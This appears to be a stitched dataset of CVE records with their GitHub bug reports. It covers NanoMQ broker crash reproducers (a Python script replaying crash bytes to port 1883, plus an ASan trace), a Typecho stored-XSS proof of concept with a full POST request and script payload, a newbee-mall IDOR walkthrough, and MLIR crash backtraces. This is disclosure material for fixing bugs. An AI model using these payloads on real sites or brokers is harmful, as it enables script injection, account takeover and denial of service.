#12 0x561da53f53bf in main /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/nanomq.c:142
#13 0x7f299a2b3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
Thread T13 created by T0 here:
#0 0x7f299a52e685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561da54610cc in nni_plat_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:279
#2 0x561da5458093 in nni_thr_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/thread.c:121
#3 0x561da5456d51 in nni_taskq_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:95
#4 0x561da5457ab1 in nni_taskq_sys_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/taskq.c:294
#5 0x561da5441a57 in nni_init_helper /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:35
#6 0x561da5461471 in nni_plat_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/platform/posix/posix_thread.c:422
#7 0x561da5441ad8 in nni_init /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/core/init.c:58
#8 0x561da548585c in nni_proto_mqtt_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol.c:37
#9 0x561da5481c00 in nng_nmq_tcp0_open /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1258
#10 0x561da5426744 in broker /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:865
#11 0x561da542ac72 in broker_start /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/apps/broker.c:1592
#12 0x561da53f53bf in main /home/lab/Desktop/broker/nanomq3/nanomq/nanomq/nanomq.c:142
#13 0x7f299a2b3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lab/Desktop/broker/nanomq3/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:225 in copyn_utf8_str
Shadow bytes around the buggy address:
0x0c067fffa8f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa900: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa
0x0c067fffa910: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
0x0c067fffa920: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
0x0c067fffa930: 00 00 00 00 fa fa fd fd fd fa fa fa fd fd fd fd
=>0x0c067fffa940: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fffa990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==104416==ABORTING
```
```py
import time
import socket
def check_input(input, sleep_time = 0.01):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(('127.0.0.1', 1883))
s.send(input)
s.close()
break
except ConnectionResetError:
continue
except ConnectionRefusedError:
break
time.sleep(sleep_time)
def check_crash_log(crash_log):
for c in reversed(crash_log):
c_bytes = bytearray.fromhex(c)
status = check_input(c_bytes, 0.25)
if status == False:
print('[+] A crash was detected')
return c_bytes
print('[-] No crash..')
exit(-1)
with open('target-1675833483.502341.txt', 'r') as f:
crash_log = f.readlines()
check_crash_log(crash_log)
```
target file :
[target-1675833483.502341.txt](https://github.com/emqx/nanomq/files/10681946/target-1675833483.502341.txt)
** Environment Details **
- NanoMQ version : v0.15.0-0
- Operating system and version : Linux lab-virtual-machine 5.15.0-58-generic x86_64 x86_64 x86_64 GNU/Linux
- Compiler and language used : I using ASAN build Option with Ninja Compile
- testing scenario : Run the broker(asan build) with the ./nanomq start command, put the target file and the python file in the same path, and run python.
**Client SDK**
Using MQTT Raw Packet
**Additional context**
| [Bug] Heap-based Buffer Overflow in `mqtt_parser.c` - `copyn_utf8_str()` | https://api.github.com/repos/nanomq/nanomq/issues/1043/comments | 1 | 2023-02-08T05:23:15Z | 2023-02-15T04:31:35Z | https://github.com/nanomq/nanomq/issues/1043 | 1,575,501,548 | 1,043 | 5,062 |
CVE-2023-29996 | 2023-05-04T17:15:13.690 | In NanoMQ v0.15.0-0, segment fault with Null Pointer Dereference occurs in the process of decoding subinfo_decode and unsubinfo_decode. | {
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
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"userInteraction": "NONE",
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"Exploit",
"Third Party Advisory"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
segments fault with CWE-476 (NULL Pointer Dereference) occurred in the process of decoding `subinfo_decode` and `unsubinfo_decode`
**Expected behavior**
Dos
**Actual Behavior**
Describe what occurred.
**To Reproduce**
```python
import subprocess
import time
import socket
def check_input(input, sleep_time = 0.01):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(('127.0.0.1', 1883))
s.send(input)
s.close()
break
except ConnectionResetError:
continue
except ConnectionRefusedError:
break
time.sleep(sleep_time)
def check_crash_log(crash_log):
for c in reversed(crash_log):
c_bytes = bytearray.fromhex(c)
status = check_input(c_bytes, 0.25)
if status == False:
print('[+] A crash was detected')
return c_bytes
print('[-] No crash..')
exit(-1)
with open('target-1675744763.830481.txt', 'r') as f:
crash_log = f.readlines()
check_crash_log(crash_log)
```
target file
[target-1675744763.830481.txt](https://github.com/emqx/nanomq/files/10671921/target-1675744763.830481.txt)
img file
backtrace :
debug :
** Environment Details **
- NanoMQ version : v0.15.0-0
- Operating system and version : Linux lab-virtual-machine 5.15.0-58-generic x86_64 x86_64 x86_64 GNU/Linux
- Compiler and language used : I using Debugging guide(debug NanoMQ with GDB.) Option with ninja compile
- testing scenario
Run the broker with the `./nanomq start` command, put the target file and the python file in the same path, and run python.
**Client SDK**
Using MQTT Raw Packet
**Additional context**
Add any other context about the problem here.
| Segment Fault occurs due to NULL Pointer reference in `subinfo_decode` & `unsubinfo_decode` while broker is parsing mqtt | https://api.github.com/repos/nanomq/nanomq/issues/1038/comments | 3 | 2023-02-07T05:57:05Z | 2023-03-17T07:30:21Z | https://github.com/nanomq/nanomq/issues/1038 | 1,573,731,822 | 1,038 | 5,063 |
CVE-2023-30184 | 2023-05-04T17:15:14.047 | A stored cross-site scripting (XSS) vulnerability in Typecho v1.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter at /index.php/archives/1/comment. | {
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"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
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"source": "nvd@nist.gov",
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"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
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"Third Party Advisory"
] | github.com | [
"typecho",
"typecho"
] | **Influenced Version**
Typecho <= 1.2.0
**Description**
Typecho comments URL with Stored-XSS vulnerability.
1.Comment on an article in any capacity with xss payload.
2.In Comments `/usr/themes/default/comments.php`,The url parameter filters only the beginning without any other protection, and directly echoed to html.
3.XSS is triggered when the site is visited again.
**POC**
POST `/index.php/archives/1/comment` with:
```
author=1&mail=12%4012&url=http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#&text=1221&_=9d8302e080b9c139354b528787f1e5e4
```
The full POC request:
```
POST /index.php/archives/1/comment HTTP/1.1
Host: 127.0.0.1
Content-Length: 143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/index.php/archives/1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
author=123&mail=123%40123.com&url=http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#&text=123&_=9d8302e080b9c139354b528787f1e5e4
```
or type directly into the website below then commit:
| Typecho <= 1.2.0 Comments URL with Stored-XSS Vulnerability | https://api.github.com/repos/typecho/typecho/issues/1546/comments | 1 | 2023-03-25T11:42:25Z | 2023-03-28T03:38:02Z | https://github.com/typecho/typecho/issues/1546 | 1,640,486,239 | 1,546 | 5,064 |
CVE-2023-30094 | 2023-05-04T20:15:10.153 | A stored cross-site scripting (XSS) vulnerability in TotalJS Flow v10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the platform name field in the settings module. | {
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| [Security] Stored XSS in platform name | https://api.github.com/repos/totaljs/flow/issues/100/comments | 2 | 2023-03-25T14:45:24Z | 2023-06-05T08:30:01Z | https://github.com/totaljs/flow/issues/100 | 1,640,543,451 | 100 | 5,065 |
CVE-2023-30095 | 2023-05-04T20:15:10.213 | A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the channel description field. | {
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| [Security] Stored XSS in channel description | https://api.github.com/repos/totaljs/messenger/issues/11/comments | 0 | 2023-03-25T15:34:27Z | 2023-03-25T15:34:27Z | https://github.com/totaljs/messenger/issues/11 | 1,640,558,064 | 11 | 5,066 |
CVE-2023-30096 | 2023-05-04T20:15:10.267 | A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the user information field. | {
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| [Security] Stored XSS in user fields | https://api.github.com/repos/totaljs/messenger/issues/10/comments | 0 | 2023-03-25T15:32:46Z | 2023-03-25T15:32:46Z | https://github.com/totaljs/messenger/issues/10 | 1,640,557,576 | 10 | 5,067 |
CVE-2023-30097 | 2023-05-04T20:15:10.320 | A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the private task field. | {
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| [Security] Stored XSS in private task | https://api.github.com/repos/totaljs/messenger/issues/9/comments | 0 | 2023-03-25T15:29:10Z | 2023-03-25T15:29:10Z | https://github.com/totaljs/messenger/issues/9 | 1,640,556,500 | 9 | 5,068 |
CVE-2023-30216 | 2023-05-04T21:15:11.493 | Insecure permissions in the updateUserInfo function of newbee-mall before commit 1f2c2dfy allows attackers to obtain user account information. | {
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## 相关版本：
1f2c2dfy 提交版本（10月28日）
## 横向越权行为源码位置：
`ltd.newbee.mall.controller.mall.PersonalController`下的`updateInfo`函数
`ltd.newbee.mall.service.impl.NewBeeMallUserServiceImpl`下的`updateUserInfo`函数
**由于mallUser.getUserId是用户可控的，并且逻辑上缺少校验机制，因此在红色方框标记的地方存在横向越权的行为，可以通过修改用户的Id获取直接使用别的用户登陆。**
## 横向越权漏洞复现：
**使用工具为BurpSuite**
1. 登陆账户：**测试用户3**，该用户的订单为空：
2. 修改个人信息并提交：
3. 使用BurpSuite拦截该请求并篡改userId后发送该请求：
4. 现在用户：**十三**，不需要用户登陆验证，直接可以冒用别的用户身份和修改相关信息和订单：
| 用户信息更新存在横向越权 | https://api.github.com/repos/newbee-ltd/newbee-mall/issues/76/comments | 1 | 2022-10-28T08:38:17Z | 2022-11-03T08:53:52Z | https://github.com/newbee-ltd/newbee-mall/issues/76 | 1,426,904,067 | 76 | 5,069 |
CVE-2023-29932 | 2023-05-05T15:15:09.633 | llvm-project commit fdbc55a5 was discovered to contain a segmentation fault via the component mlir::IROperand<mlir::OpOperand. | {
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"Issue Tracking",
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] | github.com | [
"llvm",
"llvm-project"
] | Reproduced at commit [fdbc55a5](https://github.com/llvm/llvm-project/commit/fdbc55a5)
```shell
mlir-opt --canonicalize temp.mlir
```
[temp.mlir.txt](https://github.com/llvm/llvm-project/files/9915414/temp.mlir.txt)
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --canonicalize temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x000000010528a10c llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 72
1 mlir-opt 0x000000010528a628 PrintStackTraceSignalHandler(void*) + 28
2 mlir-opt 0x0000000105288738 llvm::sys::RunSignalHandlers() + 148
3 mlir-opt 0x000000010528bef8 SignalHandler(int) + 252
4 libsystem_platform.dylib 0x00000001a33254c4 _sigtramp + 56
5 mlir-opt 0x0000000105320820 mlir::IROperand<mlir::OpOperand, mlir::Value>::insertIntoCurrent() + 52
6 mlir-opt 0x0000000105320674 mlir::IROperand<mlir::OpOperand, mlir::Value>::set(mlir::Value) + 48
7 mlir-opt 0x000000010532056c void mlir::IRObjectWithUseList<mlir::OpOperand>::replaceAllUsesWith<mlir::Value&>(mlir::Value&) + 228
8 mlir-opt 0x00000001052ef310 mlir::Value::replaceAllUsesWith(mlir::Value) const + 40
9 mlir-opt 0x0000000106b8f834 std::__1::enable_if<!std::is_convertible<mlir::ValueRange&, mlir::Operation*>::value, void>::type mlir::ResultRange::replaceAllUsesWith<mlir::ValueRange&>(mlir::ValueRange&) + 332
10 mlir-opt 0x0000000106b8f36c void mlir::Operation::replaceAllUsesWith<mlir::ValueRange&>(mlir::ValueRange&) + 64
11 mlir-opt 0x0000000109157758 mlir::RewriterBase::replaceOp(mlir::Operation*, mlir::ValueRange) + 200
12 mlir-opt 0x0000000105cb2ee8 (anonymous namespace)::DeduplicateAndRemoveDeadOperandsAndResults::matchAndRewrite(mlir::linalg::GenericOp, mlir::PatternRewriter&) const + 1240
13 mlir-opt 0x0000000105f5a700 mlir::detail::OpOrInterfaceRewritePatternBase<mlir::linalg::GenericOp>::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&) const + 72
14 mlir-opt 0x0000000109b158e8 mlir::PatternApplicator::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&, llvm::function_ref<bool (mlir::Pattern const&)>, llvm::function_ref<void (mlir::Pattern const&)>, llvm::function_ref<mlir::LogicalResult (mlir::Pattern const&)>) + 1432
15 mlir-opt 0x0000000108e67820 (anonymous namespace)::GreedyPatternRewriteDriver::simplify(llvm::MutableArrayRef<mlir::Region>) + 1640
16 mlir-opt 0x0000000108e67068 mlir::applyPatternsAndFoldGreedily(llvm::MutableArrayRef<mlir::Region>, mlir::FrozenRewritePatternSet const&, mlir::GreedyRewriteConfig) + 240
17 mlir-opt 0x0000000105915fb4 mlir::applyPatternsAndFoldGreedily(mlir::Operation*, mlir::FrozenRewritePatternSet const&, mlir::GreedyRewriteConfig) + 76
18 mlir-opt 0x0000000108d581d0 (anonymous namespace)::Canonicalizer::runOnOperation() + 132
19 mlir-opt 0x0000000108ce0838 mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 512
20 mlir-opt 0x0000000108ce0f08 mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 364
21 mlir-opt 0x0000000108ce30cc mlir::PassManager::runPasses(mlir::Operation*, mlir::AnalysisManager) + 108
22 mlir-opt 0x0000000108ce2ea0 mlir::PassManager::run(mlir::Operation*) + 732
23 mlir-opt 0x0000000108cc7b80 performActions(llvm::raw_ostream&, bool, bool, llvm::SourceMgr&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 560
24 mlir-opt 0x0000000108cc7714 processBuffer(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, bool, bool, bool, bool, bool, bool, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, llvm::ThreadPool*) + 496
25 mlir-opt 0x0000000108cc74dc mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 204
26 mlir-opt 0x0000000108cc73f0 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 80
27 mlir-opt 0x0000000108ec4700 llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 96
28 mlir-opt 0x0000000108ec41e4 mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 128
29 mlir-opt 0x0000000108cc4e48 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 320
30 mlir-opt 0x0000000108cc5050 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, mlir::PassPipelineCLParser const&, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool, bool) + 296
31 mlir-opt 0x0000000108cc5bfc mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 2888
32 mlir-opt 0x0000000104ac9df8 main + 148
33 dyld 0x0000000121d1d088 start + 516
``` | [mlir] canonicalize pass crashed with segmentation fault | https://api.github.com/repos/llvm/llvm-project/issues/58745/comments | 2 | 2022-11-02T02:36:31Z | 2022-11-08T04:14:43Z | https://github.com/llvm/llvm-project/issues/58745 | 1,432,381,138 | 58,745 | 5,070 |
CVE-2023-29933 | 2023-05-05T15:15:09.683 | llvm-project commit bd456297 was discovered to contain a segmentation fault via the component mlir::Block::getArgument. | {
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"scope": "UNCHANGED",
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"tags": [
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"llvm",
"llvm-project"
] | MLIR built at commit https://github.com/llvm/llvm-project/commit/0ee6bad6a6725c2913116a8fa7769b067c219f0
Reproduced with:
`mlir-opt --one-shot-bufferize temp.mlir`
temp.mlir:
```mlir
module {
func.func @func() {
%false = arith.constant false
%8 = tensor.empty() : tensor<10x10xf32>
scf.while (%arg0 = %8) : (tensor<10x10xf32>) -> () {
scf.condition(%false)
} do {
scf.yield %8 : tensor<10x10xf32>
}
return
}
}
```
trace:
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --one-shot-bufferize temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x000000010152e568 llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 72
1 mlir-opt 0x000000010152ea84 PrintStackTraceSignalHandler(void*) + 28
2 mlir-opt 0x000000010152cb34 llvm::sys::RunSignalHandlers() + 148
3 mlir-opt 0x00000001015306f0 SignalHandler(int) + 252
4 libsystem_platform.dylib 0x000000019970d4c4 _sigtramp + 56
5 mlir-opt 0x0000000102c160b8 mlir::Block::getArgument(unsigned int) + 40
6 mlir-opt 0x0000000102f5fa2c mlir::scf::(anonymous namespace)::WhileOpInterface::verifyAnalysis(mlir::Operation*, mlir::bufferization::AnalysisState const&) const + 760
7 mlir-opt 0x0000000102f5d2ac mlir::bufferization::detail::BufferizableOpInterfaceInterfaceTraits::FallbackModel<mlir::scf::(anonymous namespace)::WhileOpInterface>::verifyAnalysis(mlir::bufferization::detail::BufferizableOpInterfaceInterfaceTraits::Concept const*, mlir::Operation*, mlir::bufferization::AnalysisState const&) + 40
8 mlir-opt 0x0000000101b053d4 mlir::bufferization::BufferizableOpInterface::verifyAnalysis(mlir::bufferization::AnalysisState const&) + 88
9 mlir-opt 0x0000000101c36c84 mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5::operator()(mlir::Operation*) const + 84
10 mlir-opt 0x0000000101c36c24 void llvm::function_ref<void (mlir::Operation*)>::callback_fn<mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5>(long, mlir::Operation*) + 52
11 mlir-opt 0x0000000105423bf8 llvm::function_ref<void (mlir::Operation*)>::operator()(mlir::Operation*) const + 68
12 mlir-opt 0x000000010576a6d8 mlir::detail::walk(mlir::Operation*, llvm::function_ref<void (mlir::Operation*)>, mlir::WalkOrder) + 404
13 mlir-opt 0x000000010576a688 mlir::detail::walk(mlir::Operation*, llvm::function_ref<void (mlir::Operation*)>, mlir::WalkOrder) + 324
14 mlir-opt 0x000000010576a688 mlir::detail::walk(mlir::Operation*, llvm::function_ref<void (mlir::Operation*)>, mlir::WalkOrder) + 324
15 mlir-opt 0x0000000101c36b58 std::__1::enable_if<llvm::is_one_of<mlir::Operation*, mlir::Operation*, mlir::Region*, mlir::Block*>::value, void>::type mlir::detail::walk<(mlir::WalkOrder)1, mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5, mlir::Operation*, void>(mlir::Operation*, mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5&&) + 68
16 mlir-opt 0x0000000101c2b39c std::__1::enable_if<llvm::function_traits<std::__1::decay<mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5>::type>::num_args == 1, void>::type mlir::Operation::walk<(mlir::WalkOrder)1, mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5, void>(mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&)::$_5&&) + 48
17 mlir-opt 0x0000000101c2b0ac mlir::bufferization::analyzeOp(mlir::Operation*, mlir::bufferization::OneShotAnalysisState&) + 380
18 mlir-opt 0x0000000101c4453c mlir::bufferization::insertTensorCopies(mlir::Operation*, mlir::bufferization::OneShotBufferizationOptions const&) + 184
19 mlir-opt 0x0000000101c2b47c mlir::bufferization::runOneShotBufferize(mlir::Operation*, mlir::bufferization::OneShotBufferizationOptions const&) + 148
20 mlir-opt 0x0000000101b7e82c (anonymous namespace)::OneShotBufferizePass::runOnOperation() + 612
21 mlir-opt 0x0000000105294c58 mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 512
22 mlir-opt 0x0000000105295328 mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 364
23 mlir-opt 0x000000010529756c mlir::PassManager::runPasses(mlir::Operation*, mlir::AnalysisManager) + 108
24 mlir-opt 0x0000000105297344 mlir::PassManager::run(mlir::Operation*) + 864
25 mlir-opt 0x000000010527c61c performActions(llvm::raw_ostream&, bool, bool, llvm::SourceMgr&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 560
26 mlir-opt 0x000000010527c1b0 processBuffer(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, bool, bool, bool, bool, bool, bool, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, llvm::ThreadPool*) + 496
27 mlir-opt 0x000000010527bf78 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 204
28 mlir-opt 0x000000010527be8c mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 80
29 mlir-opt 0x0000000105487440 llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 96
30 mlir-opt 0x0000000105486f24 mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 128
31 mlir-opt 0x00000001052798cc mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 320
32 mlir-opt 0x0000000105279ad4 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, mlir::PassPipelineCLParser const&, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool, bool) + 296
33 mlir-opt 0x000000010527a698 mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 2912
34 mlir-opt 0x0000000100d44f50 main + 148
35 dyld 0x000000011f271088 start + 516
``` | [mlir] One shot bufferize crashed with segmentation fault. | https://api.github.com/repos/llvm/llvm-project/issues/59442/comments | 2 | 2022-12-11T15:48:38Z | 2023-05-15T14:07:52Z | https://github.com/llvm/llvm-project/issues/59442 | 1,490,145,651 | 59,442 | 5,071 |
CVE-2023-29934 | 2023-05-05T15:15:09.733 | llvm-project commit 6c01b5c was discovered to contain a segmentation fault via the component mlir::Type::getDialect(). | {
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] | MLIR built at commit https://github.com/llvm/llvm-project/commit/6c01b5cdaddce8df325020659d73cd7728778392
Reproduced with:
`mlir-opt --convert-scf-to-spirv temp.mlir`
```mlir
module {
func.func @func1(%arg0: tensor<2x2xi1>, %arg1: f32) -> f32 {
%true = arith.constant true
%c36976552_i32 = arith.constant 36976552 : i32
%cst_4 = arith.constant 1.59615526E+9 : f32
%true_5 = arith.constant true
%c1998615473_i32 = arith.constant 1998615473 : i32
%alloc_46 = memref.alloc() : memref<3xi32>
%alloc_107 = memref.alloc() : memref<2xi32>
%94 = scf.if %true_5 -> (i32) {
scf.yield %c36976552_i32 : i32
} else {
scf.yield %c1998615473_i32 : i32
}
%214 = scf.if %true -> (memref<3xi32>) {
scf.yield %alloc_46 : memref<3xi32>
} else {
